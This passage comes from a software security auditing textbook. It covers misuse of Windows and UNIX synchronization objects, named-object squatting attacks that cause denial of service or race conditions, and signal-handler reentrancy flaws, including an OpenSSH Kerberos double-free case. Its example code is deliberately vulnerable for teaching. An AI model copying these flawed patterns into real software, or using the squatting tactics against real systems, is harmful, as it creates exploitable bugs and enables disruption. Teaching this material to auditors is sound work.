        elem = queue; 

        queue = queue->next; 

 

        ReleaseMutex(queueMutex); 

        .. process element .. 

    } 

 

    return 0; 

} 

DWORD processNetwork(LPVOID arg) 

{ 

    struct element *elem, *tmp; 

    struct request *req; 

 

    for(;;) 

    { 

        req = readRequest(fd); 

 

        if(req == NULL) // bad request 

            continue; 

 

        elem = request_to_job_element(req); 

 

        HeapFree(req); 

 

        if(elem == NULL) 

            continue; 

 

        WaitForSingleObject(queueMutex, INFINITE); 

 

        if(queue == NULL) 

        { 

            queue = elem; 

            SetEvent(queueEvent); 

        } 

        else 

        { 

            for(tmp = queue; tmp->next; tmp = tmp->next) 
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                ; 

            tmp->next = elem; 

        } 

 

        ReleaseMutex(queueMutex); 

    } 

 

    return 0; 

} 

 

Do you see the problem with this code? Look at the way the event object is initialized: 

queueEvent = CreateEvent(NULL, TRUE, FALSE, NULL); 

 

Setting the second parameter to TRUE indicates the object is a manual-reset event. 

However, by reading the code, you can tell that the developer intended to use an 

automatic-reset event, because after the first time the event is signaled, the 

manual-reset event remains in that state forever, even when the queue is empty. The 

incorrect use of CreateEvent() in this example leads to a NULL pointer dereference in 

processJob(), as a successful return from WaitForSingleObject() indicates that the 

queue is not empty. Astute readers might notice an additional flaw: This code is 

vulnerable to deadlock. If the queue is empty when processJob() runs, the running 

thread calls WaitForSingleObject(), which puts the caller to sleep until the 

processNetwork() function signals the event object. However, the processJob() 

routine waiting on the event is holding the queueMutex lock. As a result, 

processNetwork() can never enter, thus resulting in deadlock. 

As you can see, errors resulting from incorrect use of synchronization objects are 

quite easy to make, especially when a multitude of objects are used. Creating a 

program without deadlocking and race conditions can be tricky; often the logic just 

isn't obvious, as shown in the previous example. In "IPC Object Scoreboards" later in 

this chapter, you learn a technique that utilizes scoreboards to track IPC object use. 

These scoreboards can help you determine how each object is used and whether 

there's a possibility it's being misused. 

Squatting with Named Synchronization Objects 

Chapter 11(? [????.]) introduced Windows namespace squatting, which occurs when 

a rogue application creates a named object before the real application can. This type 

of attack is a serious consideration for named synchronization objects. Imagine, for 

example, a program with the following code during its initialization: 

int checkForAnotherInstance(void) 
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{ 

    HANDLE hMutex; 

 

    hMutex = OpenMutex(MUTEX_ALL_ACCESS, FALSE, "MyProgram"); 

 

    if(hMutex == NULL) 

        return 1; 

    CloseHandle(hMutex); 

    return 0; 

} 

 

The checkForAnotherInstance() function is called in the early stages of a program 

invocation. If it returns 1, the process exits because another instance of the program 

is already running. 

Note 

Synchronization objects are often used to prevent multiple instances of a program 

from running on a single host. 

 

Say you run another process that creates a mutex named MyProgram and holds the 

lock indefinitely. In this case, the checkForAnotherInstance() function always returns 

1, so any attempt to start this application fails. If this mutex is created in the global 

namespace, it prevents other users in a Terminal Services or XP environment from 

starting the application as well. 

In addition to creating objects for the purpose of preventing an application from 

running correctly, a rogue application might be able to take possession of an object 

that another application created legitimately. For example, consider a scenario in 

which a process creates a global object and a number of other processes later 

manipulate this object. Processes attempting to manipulate the object do so by 

waiting on a mutex, as shown in this example: 

int modifyObject(void) 

{ 

    HANDLE hMutex; 

    DWORD status; 

 

    hMutex = OpenMutex(MUTEX_MODIFY_STATE, FALSE, "MyMutex"); 

 

    if(hMutex == NULL) 

        return -1; 
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    status = WaitForSingleObject(hMutex, INFINITY); 

 

    if(status == WAIT_TIMEOUT) 

        return -1; 

 

    .. modify some global object .. 

    ReleaseMutex(hMutex); 

} 

 

What's the problem with this code? What if a rogue application also opens MyMutex and 

holds onto it indefinitely? The other waiting processes are left sleeping indefinitely, 

thus unable to complete their tasks. 

You can also cause denial-of-service conditions in UNIX programs that bail out when 

an attempt to initialize a semaphore set fails or when the value of IPC_PRIVATE is not 

passed as the key parameter to semget(). For example, look at the following code: 

int initialize_ipc(void) 

{ 

    int semid; 

 

    semid = semget(ftok("/home/user/file", 'A'), 10, 

                    IPC_EXCL|IPC_CREAT | 0644); 

 

    if(semid < 0) 

        return -1; 

 

    return semid; 

} 

 

This code creates a semaphore set with ten semaphores. Because IPC_CREAT and 

IPC_EXCL are defined, semget() returns an error if a semaphore with the same key 

already exists. If you create a set beforehand, the initialize_ipc() function returns 

an error and the program never starts. 

Note 

Notice the use of the ftok() function. Ostensibly, it's used to generate keys for use 

with IPC, but this function doesn't guarantee key uniqueness. In fact, a brief 

examination of the source code in glibc shows that if you supply the same arguments, 

you generate the same key value, or you could determine the key value it generates 

easily. 
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If the IPC_EXCL flag isn't supplied, you can still cause semget() to fail by initializing a 

semaphore set with restrictive permissions. You could also initialize a semaphore set 

with the same key but fewer semaphores in it, which also causes semget() to return an 

error. 

Other Squatting Issues 

So far, the squatting issues discussed usually result in a denial of service by not 

allowing a process access to an object. Squatting can also occur by taking advantage 

of a nuance of how the CreateEvent(), CreateMutex(), CreateSemaphore(), and 

CreateWaitableTimer() functions work. When called with a non-NULL name 

parameter, these functions check to see whether the specified name already exists. If 

it does, the existing object is returned to the caller instead of creating a new object. 

The only way to tell that an existing object is returned rather than a new one is for the 

developer to call GetLastError(), check whether the error is ERROR_ALREADY_EXISTS, 

and then handle that case specifically. Failure to do so can result in some interesting 

situations. If an existing object is returned, several parameters to the Create*() 

functions are ignored. For example, the CreateMutex() function takes three 

parameters: the security attributes structure describing access rights to the object, a 

Boolean value indicating whether the caller initially holds the lock, and the name of 

the object. If the named mutex already exists, the first two parameters are ignored! 

To quote from the MSDN's CreateMutex() function description: 

If lpName matches the name of an existing named mutex, this function requests the 

MUTEX_ALL_ACCESS access right. In this case, the bInitialOwner parameter is 

ignored because it has already been set by the creating process. If the 

lpMutexAttributes parameter is not NULL, it determines whether the handle can be 

inherited, but its security-descriptor member is ignored. 

Interesting. So if the ERROR_ALREADY_EXISTS value isn't checked for using 

GetLastError(), it's possible for an attacker to create a mutex with the same name 

before the real application does. This can undermine the security attributes that 

would otherwise be placed on the object because they are ignored when the 

application calls the CreateMutex() function. Furthermore, consider any code that 

calls CreateMutex() with the bInitialOwner parameter passed as TRUE. The caller 

might manipulate a shared object under the assumption that it holds the mutex lock, 

when in fact it doesn't, thus resulting in a race condition. Here is an example. 

int modifyObject(HANDLE hObject) 

{ 

    HANDLE hMutex; 

 

    hMutex = CreateMutex(NULL, TRUE, "MyMutex"); 
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    if(hMutex == NULL) 

        return -1; 

    .. modify object pointed to by hObject .. 

 

    ReleaseMutex(hMutex); 

} 

 

The bInitialOwner parameter passed to CreateMutex() is set to TRUE to indicate that 

this process should have initial ownership of the lock. However, there's no call to 

GetLastError() to check for ERROR_ALREADY_EXISTS; therefore, it's possible that the 

returned mutex is a preexisting object. In this case, the bInitialOwner value is 

ignored, so this process would not in fact hold the lock for hMutex, and any access of 

hObject is subject to race conditions. 

The other synchronization object creation functions have similar issues. The security 

attributes parameterand potentially other parametersare ignored if the named object 

already exists. For example, the lInitialCount and lMaximumCount parameters for 

CreateSemaphore() are ignored if an existing object is returned because those 

parameters are initialized by the original creator of the object. Ignoring these 

parameters might make it possible to create a semaphore with a different maximum 

count than the application expects, which might cause it to work incorrectly. In fact, 

if an arbitrarily large maximum count is set, the semaphore provides no mutual 

exclusion at all, again resulting in a race condition. Similarly, with an event object, the 

bManualReset and bInitialState parameters are ignored if a previously created object 

is returned. Therefore, a program initializing an event object as an auto-reset object 

could instead receive a manual-reset object, which stays signaled so that multiple 

processes receive the event instead of just one, when the process is expecting it to be 

delivered to only a single process or thread. 

Another thing to keep in mind with squatting issues is that if you create the object, 

you're free to change it whenever you like and in whatever way you choose. If you 

create an event or waitable timer object that's subsequently returned to a privileged 

application through the use of CreateEvent() or CreateWaitableTimer(), you can 

arbitrarily signal those objects whenever you like. For instance, the owner of an event 

can generate a signal by calling the SetEvent() function at any time. This call could be 

dangerous when a process is expecting that the receipt of an event signal is 

acknowledgement that some object transaction has taken place, when in fact it 

hasn't. 

Semaphore sets in UNIX (and other System V IPC objects) are vulnerable to similar 

squatting issues, but only to a limited extent because of the way the API works. A 

process creating a semaphore should use the IPC_CREAT and IPC_EXCL flags or the 

IPC_PRIVATE value for a key. Doing so guarantees that a new semaphore has been 
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created. If the process supplies a key value and neglects to use the IPC_EXCL flag, it 

might mistakenly get access to an existing semaphore set. Here's an example of a 

vulnerable call: 

int semid; 

 

semid = semget(ftok("/home/user/file", 'A'), 10, 

               IPC_CREAT | 0644); 

 

This call to semget() takes an existing semaphore set if one exists with the same key 

and creates a new one only if one does not exist. If the semaphore set does already 

exist, it must have at least as many semaphore objects in the set as the second 

argument indicates. If it doesn't, an error is returned. There are still some interesting 

possibilities related to what you can do to the semaphore set at the same time 

another process is using it because you're the owner of the semaphore. 

Note 

If permissions are relaxed enough, such as everyone having full modify privileges to 

the semaphore created by a privileged process, the same attacks described in the 

following sections are also possible. 

 

Semaphore sets are not like file descriptors. When a semaphore set is open, it's not 

persistently linked to the application. Instead, a semaphore ID is returned to the 

caller, and every subsequent use of the semaphore set involves looking up that ID in 

the global namespace. Therefore, if you have sufficient access to the semaphore set 

(as you do if you're the creator), you can do anything you want to it between accesses 

by the privileged process using the malicious semaphore set. For example, it would be 

possible to delete the set or re-create it after semget() returns in the privileged 

process with a smaller number of semaphore objects. You could also manually reset 

all semaphore integers in the set to arbitrary values, thus causing race conditions in 

the privileged process. Therefore, when auditing applications that make use of 

semaphores, the flags used in semget() are quite important. 

Note 

In case you're wondering what happens when IPC_EXCL is set and IPC_CREAT isn't, this 

is invalid and doesn't cause a new semaphore set to be created. The semget() function 

just returns an error. 
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Synchronization Object Scoreboards 

As you have seen, it is relatively easy to misuse synchronization APIs, and 

inadvertently render a program vulnerable to a denial-of-service or race condition. 

When you're auditing for these vulnerabilities, it's best to keep a record of likely 

problems resulting from improper use of these IPC synchronization mechanisms, so 

that you can refer back to it at later stages of the code audit. The audit logs described 

in previous chapters don't address many of the details associated with concurrency 

vulnerabilities. Instead, you can use synchronization object scoreboards, which are a 

small logs providing the security-relevant details of a synchronization object: where it 

was instantiated, how it was instantiated, where it's used, and where it's released. 

Table 13-1 shows an example of this scoreboard. 

Table 13-1. Synchronization Object Scoreboard 

Object name MyMutex 

Object type mutex 

Use Used for controlling access to the shared resource hObject 

(declared in main.c line 50). This object can have only one thread 

accessing it at a time (whether it's a reader or a writer). 

Instantiated open_mutex(), util.c, line 139 

Instantiation 

parameters 

OpenMutex(NULL, TRUE, "MyMutex") 

Object 

permissions 

Default 

Used by writer_task(), writer.c, line 139 

reader_task(), reader.c, line 158 

Protects A linked list, queue, declared in main.c, line 76 

Notes This mutex uses a static name, and the code doesn't check 

GetLastError() when OpenMutex() returns. A squatting attack is 

possible. 

Possible race condition in reader.c line 140, where one of the code 

paths fails to lock the mutex before operating on hObject. 

 

As you can see, this scoreboard technique provides a concise summary of the object's 

use and purpose. You can note any observations about the way the object is 

instantiated or used and possibly follow up later. Not only does this scoreboard aid 

you as a quick reference when encountering new code that deals with the 
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synchronization object, but later changes to the codebase can be checked against 

your summary to ensure that the object is used correctly. 

Lock Matching 

Another effective tool for auditing synchronization objects is lock matching. Lock 

matching is simply the process of checking synchronization objects to ensure that 

for every lock on an object, there's no path where a corresponding unlock can't occur. 

Obviously, this technique is applicable only to a subset of objectsthose that require 

signaling after they have been waited on. So this technique would be applicable 

primarily to semaphores and mutexes. If a path is found where a wait doesn't have a 

complementary signal on the same object, deadlock could occur. 

Note 

If a thread exits in Windows while owning an object, the system normally allows 

another waiting thread to take ownership of the object. However, if the thread does 

not exit cleanlynormally a result of a TerminateThread() callthe objects are not 

properly released and deadlock can occur. 

 

A simple example helps demonstrate lock matching in action: 

struct element *queue; 

HANDLE hMutex; 

int fd; 

 

int networkThread(void) 

{ 

    struct element *elem; 

 

    for(;;) 

    { 

        elem = read_request(fd); 

 

        WaitForSingleObject(hMutex, INFINITY); 

 

        add_to_queue(queue, elem); 

 

        ReleaseMutex(hMutex); 

    } 

 

    return 0; 

} 
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int processThread(void) 

{ 

    struct element *elem; 

 

    for(;;) 

    { 

        WaitForSingleObject(hMutex); 

        elem = remove_from_queue(queue); 

 

        if(elem == NULL) // nothing in queue 

            continue; 

 

        ReleaseMutex(hMutex); 

 

        process_element(elem); 

 

    } 

 

    return 0; 

} 

 

The processThread() function contains a path where hMutex isn't signaled after it's 

waited on. If elem is NULL when processThread() runs, it jumps back to the top of the 

for loop, failing to call ReleaseMutex(). The next call to WaitForSingleObject() doesn't 

cause this process deadlock, however, because the calling thread owns the mutex. 

Instead, it prevents the number of release calls from ever being equal to the number 

of wait calls. This means no other process or thread can ever acquire this mutex 

because the calling thread never releases it. 

Be aware when performing lock matching checks to ensure that nonobvious paths 

don't exist where an object might never be released. For example, can a signal 

interrupt a thread that holds a lock and then reenter the program at some other 

point? 

 

7.9.4 Signals 

UNIX programs often interact with their environment and other programs through the 

use of signals. Signals are software interrupts that the kernel raises in a process at 

the behest of other processes, or as a reaction to events that occur in the kernel. 

Note 

31051536.html
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The Windows POSIX subsystem is capable of dealing with signals as well, but they are 

primarily a UNIX feature. 

 

Each process defines how to handle its incoming signals by choosing to associate one 

of the following actions with a signal: 

 Ignoring the signal A process can ignore a signal by informing the kernel that 

it wants to ignore the signal. Two signals can't be ignored: SIGKILL and 

SIGSTOP. SIGKILL always kills a process, and SIGSTOP always stops a process. 

 Blocking the signal A process can postpone handling a signal by blocking it, in 

which case the signal is postponed until the process unblocks it. As with 

blocking, the SIGKILL and SIGSTOP signals can't be blocked. 

 Installing a signal handler A process can install a signal handler, which is a 

function called when a signal is delivered. This function is called completely 

asynchronously: When a signal is delivered, the execution context of a process 

is suspended, and a new one is created where execution starts in the 

designated signal handler function. When that handler returns, execution 

resumes where it left off. 

If a process doesn't indicate specifically how it deals with a particular signal, then a 

default action will be taken. Table 13-2 lists the signals provided by a typical 

POSIX-compliant implementation and the default actions associated with those 

signals. This table is taken from the Linux signal(7) man page. 

Table 13-2. Signals and Their Default Actions 

Signal 

Number 

Signal 

Name 

Meaning Default Action 

1 SIGHUP Hang up from controlling terminal Terminate 

2 SIGINT Interrupt Terminate 

3 SIGQUIT Quit Core dump 

4 SIGILL Illegal instruction Core dump 

5 SIGTRAP Software trap Core dump 

6 SIGABRT Abort Core dump 

7 SIGEMT EMT instruction Terminate 

8 SIGFPE Floating point exception Core dump 

9 SIGKILL Kill Terminate 

10 SIGBUS* Data bus error Core dump 
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Table 13-2. Signals and Their Default Actions 

Signal 

Number 

Signal 

Name 

Meaning Default Action 

11 SIGSEGV Segmentation fault Core dump 

12 SIGSYS* Invalid system call parameter Core dump 

13 SIGPIPE Write to a pipe when there's no 

process to read from it 

Terminate 

14 SIGALRM Alarm Terminate 

15 SIGTERM Terminate Terminate 

16 SIGURG Urgent data on I/O channel Ignore 

17 SIGSTOP Stop process Stop 

18 SIGTSTP Interactive stop Stop 

19 SIGCONT Continue Continue a stopped 

process 

20 SIGCHLD Child exited Ignored 

21 SIGTTIN Background read attempt from 

terminal 

Stop 

22 SIGTTOU Background write attempt from 

terminal 

Stop 

23 SIGIO I/O available or completed Terminate 

24 SIGXCPU CPU time limit exceeded Core dump 

25 SIGXFSZ File size limit exceeded Core dump 

26 SIGVTALRM Virtual time alarm Terminate 

27 SIGPROF Profiling time alarm Terminate 

28 SIGWINCH Window size change Ignored 

29 SIGINFO Information request Terminate 

30 SIGUSR1 User-defined signal Ignored 

31 SIGUSR2 User-defined signal Ignored 

 

Note that the numbers assigned to signals might vary among operating systems and 

architectures, and not all signals are available on all architectures. For example, 

SIGBUS isn't defined for machines with an Intel architecture, but is defined for 

machines with a Sun SPARC architecture. If a signal isn't defined for a specific 
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architecture, it might be ignored instead of performing the default action listed in 

Table 13-2. 

Each process has a signal mask, which is a bitmask describing which signals should 

be blocked by a process and which signals should be delivered. A process can block a 

signal by altering this signal mask, as you see shortly in "Handling Signals." 

Signal handling is an important part of many UNIX applications. Although signals are 

a fairly simple mechanism, there are some subtleties to dealing with them correctly 

when implementing software. So before you move on to signal-related problems, the 

following sections briefly describe the signal API. 

Sending Signals 

The kill() system call is used to send a signal to a process. You can test whether 

processes are present by killing them with signal zero or by trying an invalid signal 

and looking for a permission denied message. 

To send a signal to a process in Linux and Solaris, the sender must be the superuser 

or have a real or effective user ID equal to the receiver's real or saved set user ID. 

However, a sender can always send SIGCONT to a process in its session. 

To send a signal to a process in the BSD OSs, the sender must be the superuser, or 

the real or effective user IDs must match the receiver's real or effective user IDs. 

Note that this means a daemon that temporarily assumes the role of an unprivileged 

user with seteuid() opens itself to signals being delivered from that user. 

Earlier versions of Linux had the same behavior as BSD. For example, if the Network 

File System (NFS) userland daemon temporarily set its effective user ID to that of a 

normal user, that normal user could send signals to the daemon and potentially kill it. 

This is what precipitated the introduction of file system user IDs (FSUIDs) in Linux. 

They are now largely redundant in Linux because temporarily assuming an effective 

user ID no longer exposes a daemon to signals. 

FTP daemons are another good example of a situation in which a daemon running as 

root assumes the effective user permissions of a nonprivileged user. If a normal user 

logs in to an FTP daemon, the daemon uses that user's effective user ID so that it can 

perform file system interaction safely. On a BSD system, therefore, if that same user 

is logged in to a shell, he or she can send signals to the daemon and kill it. In previous 

versions, this had more significant consequences, as a core dump often contained 

password information from the system authentication database. 

OpenBSD has a unique restriction: A nonroot user can send only the following signals 

to a setuid or setgid process: SIGKILL, SIGINT, SIGTERM, SIGSTOP, SIGTTIN, SIGTTOU, 

SIGTSTP, SIGHUP, SIGUSR1, SIGUSR2, and SIGCONT. 
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Handling Signals 

There are a number of ways to instruct a process how to respond to a signal. First, the 

signal() function is used to set a routine for installing a handler to deal with the 

specified signal. The semantics from the man page are shown in the following 

prototype: 

#include <signal.h> 

 

typedef void (*sighandler_t)(int); 

 

sighandler_t signal(int signum, sighandler_t handler); 

 

The signum parameter indicates what signal to handle, and the handler argument 

indicates the routine that should be called for this signal. The signal() function 

returns the old handler for the specified signal. Instead of specifying a new 

signal-handling routine, the developer can elect to specify one of two constants for 

the handler parameter: SIG_IGN if the signal should be ignored and SIG_DFL if the 

default action should be taken when a signal is received. 

Note 

The default action varies depending on what signal is received. For example, the 

default action for SIGSEGV is to create a core image and terminate the process. The 

default action for SIGSTOP is to place the current process in the background. The 

default actions for each signal were presented earlier in Table 13-2. 

 

Developers can also set handlers via the sigaction() interface, which has the 

following prototype: 

#include <signal.h> 

 

int sigaction(int sig, const struct sigaction *act, 

              struct sigaction *oact); 

 

This interface enables you to set and retrieve slightly more detailed attributes for 

each signal an application handles. These attributes are supplied in the form of the 

sigaction structure, which is roughly defined like this: 

struct sigaction { 

     void      (*sa_handler)(int); 

     void      (*sa_sigaction)(int, siginfo_t *, void *); 
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     sigset_t  sa_mask; 

     int       sa_flags; 

} 

 

The exact structure definition varies slightly between implementations. Basically, 

there are two function pointers: one to a signal handler (sa_handler) and one to a 

signal catcher (sa_sigaction). Developers set one or the other to be called upon 

receipt of the specified signal. 

Note 

Which handler is called from the sigaction structurethe handler (sa_handler) or the 

catcher (sa_sigaction)? It depends on the sa_flags member in the structure. If the 

SA_SIGINFO flag is set, sa_sigaction is called. Otherwise, sa_handler is called. In 

reality, because you are supposed to specify only one and can't define both, often 

these two structure members are coded as a union, so defining one overrides a 

previous definition of the other. 

 

The sa_mask field describes a set of signals that should be blocked while the signal 

handler is running, and the sa_flags member describes some additional behavioral 

characteristics for how to handle the signal, which are mentioned in "Signal 

Vulnerabilities" later in this chapter. 

The following function is used to change the process signal mask so that previously 

blocked signals can be delivered or to block the delivery of certain signals: 

int sigprocmask(int how, const sigset_t *set, sigset_t *oset) 

 

The how argument specifies how the set parameter should be interpreted and can take 

one of three values: 

 SIG_BLOCK Indicates that the set parameter contains a set of signals to be 

added to the process signal mask 

 SIG_UNBLOCK Indicates that the set parameter contains a set of signals to be 

unblocked from the current signal mask 

 SIG_SETMASK Indicates that the set parameter should replace the current signal 

mask 

The oset parameter is filled in with the previous signal mask of the process. 
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In addition to these functions, you can make a multitude of other signal-related 

library calls. Only the ones to declare signal handlers and set actions are described in 

the following sections. 

Jump Locations 

On UNIX systems, you can return to a point in a program from any other point in a 

program contingent on a certain condition. To do this, you use setjmp(), longjmp(), 

sigsetjmp(), and siglongjmp(). Although these functions aren't part of the signal API, 

they are quite relevant, as they are often used in signal-handling routines to return to 

a certain location in the program in order to continue processing after a signal has 

been caught. 

The setjmp() function is used to designate a point in the program to which execution 

control is returned when the longjmp() function is called: 

int setjmp(jmp_buf env) 

void longjmp(jmp_buf env, int val) 

 

The context the program is in when setjmp() is called is restored when returned to via 

longjmp()that is, the register contents are reset to the state they were in when 

setjmp() was originally called, including the program counter and stack pointer, so 

that execution can continue at that point. A return value of 0 indicates a direct call of 

setjmp(), and a value of nonzero indicates that execution has returned to this point 

from a longjmp(). The val parameter supplied to longjmp() indicates what setjmp() 

returns when longjmp() is called. Because longjmp() hands execution off to a different 

part of the program, it doesn't return. Here's an example of these two functions in 

action: 

jmp_buf env; 

 

int process_message(int sock) 

{ 

    struct pkt_header header; 

 

    for(;;) 

    { 

        if(setjmp(env) != 0) 

            log("Invalid request received, ignoring message"); 

 

        if(read_packet_header(sock, &header)) < 0) 

            return -1; 

 

        switch(header.type) 



The Art of Software Security Assessment - Identifying and Preventing Software Vulnerabilities 

 804 

        { 

            case USER: 

                parse_username_request(sock); 

                break; 

 

            case PASS: 

                parse_password_request(sock); 

                break; 

 

            case OPEN: 

                parse_openfile_request(sock); 

                break; 

 

            case QUIT 

                parse_quit_request(sock); 

                break; 

 

            default: 

                log("invalid message"); 

                break; 

        } 

    } 

} 

 

Say you had a function such as the one in this example, and then several functions 

deep from the parse_openfile_request(), you had the following function for opening 

a file on the system: 

int open_file_internal(unsigned char *filename) 

{ 

    if(strstr(filename, "../")) 

        longjmp(env, 1); 

    ... open file ... 

} 

 

In this case, the longjmp() call causes the program to restart execution at the location 

of the corresponding setjmp() function, in process_message(). The setjmp() function 

will return a nonzero valuein this case, 1 because 1 was specified as the second 

parameter to longjmp(). 

There are also two other very similar functions sigsetjmp() and siglongjmp() that are 

used to achieve a similar effect except that they take process signal masks into 
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consideration as well. This is achieved through the savesigs parameter passed to 

sigsetjmp(): 

int sigsetjmp(sigjmp_buf env, int savesigs) 

int siglongjmp(sigjmp_buf env, int val) 

 

If the savesigs value is nonzero, the signal mask of the process at the time sigsetjmp() 

is called is also saved so that when siglongjmp() is called, it can be restored. In the 

next section, you see why mixing these functions with signal handlers is a dangerous 

practice. 

Signal Vulnerabilities 

A signal-handling routine can be called at any point during program execution, from 

the moment the handler's installed until the point it's removed. Therefore, any 

actions that take place between those two points in time can be interrupted. 

Depending on what the signal handler does, this interruption could turn out to be a 

security vulnerability. To understand the text in this section, you must be familiar 

with the term asynchronous-safe (sometimes referred to as async-safe, or 

signal-safe). An asynchronous-safe function is a function that can safely and correctly 

run even if it is interrupted by an asynchronous event, such as a signal handler or 

interrupting thread. An asynchronous-safe function is by definition reentrant, but has 

the additional property of correctly dealing with signal interruptions. Generally 

speaking, all signal handlers need to be asynchronous-safe; the reasons why will 

become clear throughout this section. 

Basic Interruption 

The first problem with handling signals occurs when the handler relies on some sort of 

global program state, such as the assumption that global variables are initialized 

when in fact they aren't. Listing 13-1 presents a short example. 

Listing 13-1.  

char *user; 

 

int cleanup(int sig) 

{ 

    printf("caught signal! Cleaning up..\n"); 

    free(user); 

    exit(1); 

} 

 

int main(int argc, char **argv) 
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{ 

    signal(SIGTERM, cleanup); 

    signal(SIGINT, cleanup); 

 

    ... do stuff ... 

    process_file(fd); 

    free(user); 

    close(fd); 

    printf("bye!\n"); 

    return 0; 

} 

 

int process_file(int fd) 

{ 

    char buffer[1024]; 

 

    ... read from file into buffer ... 

 

    user = malloc(strlen(buffer)+1); 

    strcpy(user, buffer); 

 

    ... do stuff ... 

 

    return 0; 

} 

 

The problem with this code is that cleanup() can be called at any time after it's 

installed to handle the SIGTERM and SIGINT signals. If either signal is sent to the 

process before process_file() is called, the user variable isn't initialized. This isn't 

much of a problem because the initial value is NULL. However, what if a signal is 

delivered after free(user) and before the program exits? The user variable is 

deallocated with the free() function twice! That's definitely not good. You would be in 

even more trouble if the signal handler didn't exit the program because a signal could 

be sent during the strcpy() operation to free the buffer being copied into. The 

function would continue to copy data into a free heap chunk, which can lead to 

memory corruption and possibly arbitrary code execution. 

In order to see how a bug of this nature might look in production code, take a look at 

a real-world example: OpenSSH. The following signal-handling routine is installed in 

OpenSSH in the main() function. It is called when OpenSSH receives an alarm signal 

(SIGALRM), the intention being to limit the amount of time a connecting client has to 

complete a successful login: 
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grace_alarm_handler(int sig) 

{ 

    /* XXX no idea how fix this signal handler */ 

 

    if (use_privsep && pmonitor != NULL && pmonitor->m_pid > 0) 

        kill(pmonitor->m_pid, SIGALRM); 

 

    /* Log error and exit. */ 

    fatal("Timeout before authentication for %s", get_remote_ipaddr()); 

} 

 

Most of this code is not that interesting, except for the call to fatal(). If you examine 

the implementation of fatal() in the OpenSSH source code, you can see it calls the 

cleanup_exit() function, which in turn calls do_cleanup() to deallocate global 

structures and exit the process. The do_cleanup() implementation is shown. 

void 

do_cleanup(Authctxt *authctxt) 

{ 

    static int called = 0; 

 

    debug("do_cleanup"); 

 

    /* no cleanup if you're in the child for login shell */ 

    if (is_child) 

        return; 

 

    /* avoid double cleanup */ 

    if (called) 

        return; 

    called = 1; 

 

    if (authctxt == NULL) 

        return; 

#ifdef KRB5 

    if (options.kerberos_ticket_cleanup && 

        authctxt->krb5_ctx) 

        krb5_cleanup_proc(authctxt); 

#endif 

    ... more stuff ... 

 

    /* 

     * Cleanup ptys/utmp only if privsep is disabled 

     * or if running in monitor. 
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     */ 

    if (!use_privsep || mm_is_monitor()) 

        session_destroy_all(session_pty_cleanup2); 

} 

 

As you can see, the do_cleanup() function is somewhat reentrant, because it checks 

whether it has already been called, and if it has, it just returns immediately. This 

prevents fatal() from calling itself, or being interrupting by a signal that results in a 

call to fatal(), such as the grace_alarm_handler() function. However, any functions 

called in do_cleanup() are also required to be reentrant if they're called elsewhere in 

the program. If any called function is not reentrant, then it would be possible for the 

vulnerable function to be interrupted by the SIGALRM signal, which will eventually 

lead to the same non-reentrant function being invoked again. Now take a look at the 

krb5_cleanup_proc() function: 

void 

krb5_cleanup_proc(Authctxt *authctxt) 

{ 

    debug("krb5_cleanup_proc called"); 

    if (authctxt->krb5_fwd_ccache) { 

        krb5_cc_destroy(authctxt->krb5_ctx, authctxt->krb5_fwd_ccache); 

        authctxt->krb5_fwd_ccache = NULL; 

    } 

    if (authctxt->krb5_user) { 

        krb5_free_principal(authctxt->krb5_ctx, 

            authctxt->krb5_user); 

        authctxt->krb5_user = NULL; 

    } 

    if (authctxt->krb5_ctx) { 

        krb5_free_context(authctxt->krb5_ctx); 

        authctxt->krb5_ctx = NULL; 

    } 

} 

 

This function simply frees a series of elements and sets them to NULL, thus 

preventing potential double-free scenarios. However, the krb5_user element is a 

structure composed of a number of pointers to strings designated by the client and 

limited by how much input OpenSSH accepts, which is quite a lot. The Kerberos 

library essentially frees these pointers one by one in a loop. After the krb5_user 

element is cleaned up, the authctxt->krb5_user element is set to NULL. Although this 

makes the function less susceptible to reentrancy problems, it is still not entirely safe. 

If this function were to be interrupted while deallocating the individual strings 
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contained within krb5_user, then it is possible that krb5_user could be accessed when 

it is in an inconsistent state. 

The krb5_user variable is filled out by krb5_parse_name(), which is called by 

auth_krb5_password() when authenticating clients using Kerberos authentication. The 

auth_krb5_password() implementation is shown: 

int 

auth_krb5_password(Authctxt *authctxt, const char *password) 

{ 

    krb5_error_code problem; 

    krb5_ccache ccache = NULL; 

    int len; 

 

    temporarily_use_uid(authctxt->pw); 

 

    problem = krb5_init(authctxt); 

    if (problem) 

        goto out; 

 

    problem = krb5_parse_name(authctxt->krb5_ctx, 

        authctxt->pw->pw_name, 

            &authctxt->krb5_user); 

    if (problem) 

        goto out; 

#ifdef HEIMDAL 

    problem = krb5_cc_gen_new(authctxt->krb5_ctx, 

        &krb5_mcc_ops, &ccache); 

    if (problem) 

        goto out; 

    problem = krb5_cc_initialize(authctxt->krb5_ctx, ccache, 

        authctxt->krb5_user); 

    if (problem) 

        goto out; 

 

    restore_uid(); 

 

    problem = krb5_verify_user(authctxt->krb5_ctx, 

        authctxt->krb5_user, ccache, password, 1, NULL); 

 

    ... more stuff ... 

 

 out: 

    restore_uid(); 
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    if (problem) { 

        if (ccache) 

            krb5_cc_destroy(authctxt->krb5_ctx, ccache); 

 

        ... more stuff ... 

 

        krb5_cleanup_proc(authctxt); 

 

        if (options.kerberos_or_local_passwd) 

            return (-1); 

        else 

            return (0); 

    } 

    return (authctxt->valid ? 1 : 0); 

} 

 

When an error occurs at any point during the auth_krb5_password() function, 

krb5_cleanup_proc() is called. This error normally occurs when krb5_verify_user() is 

called for a user lacking valid credentials. So, what would happen if 

krb5_cleanup_proc() is in the process of freeing thousands of strings when the signal 

timeout occurs? The signal handler is called, which in turn calls krb5_cleanup_proc() 

again. This second call to krb5_cleanup_proc() receives the krb5_user element, which 

is not NULL because it's already in the middle of processing; so krb5_cleanup_proc() 

once again starts deallocating all of the already deallocated string elements in this 

structure, which could lead to exploitable memory corruption. 

Non-Returning Signal Handlers 

Non-returning signal handlers are those that never return execution control back to 

the interrupted function. There are two ways this can happenthe signal handler can 

explicitly terminate the process by calling exit(), or the signal handler can return to 

another part of the application using longjmp(). It's generally safe for a longjmp() to 

simply terminate the program. However, a signal handler that uses longjmp() to 

return to another part of the application is very unlikely to be completely 

asynchronous-safe, because any of the code reachable via the signal handler must be 

asynchronous-safe as well. This section will focus on the various problems that can 

arise from attempting to restart execution using the longjmp() function. 

To see this in action, consider the Sendmail SMTP server signal race vulnerability. It 

occurs when reading e-mail messages from a client. The collect() function 

responsible for reading e-mail messages is shown in part: 

void 

collect(fp, smtpmode, hdrp, e, rsetsize) 
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    SM_FILE_T *fp; 

    bool smtpmode; 

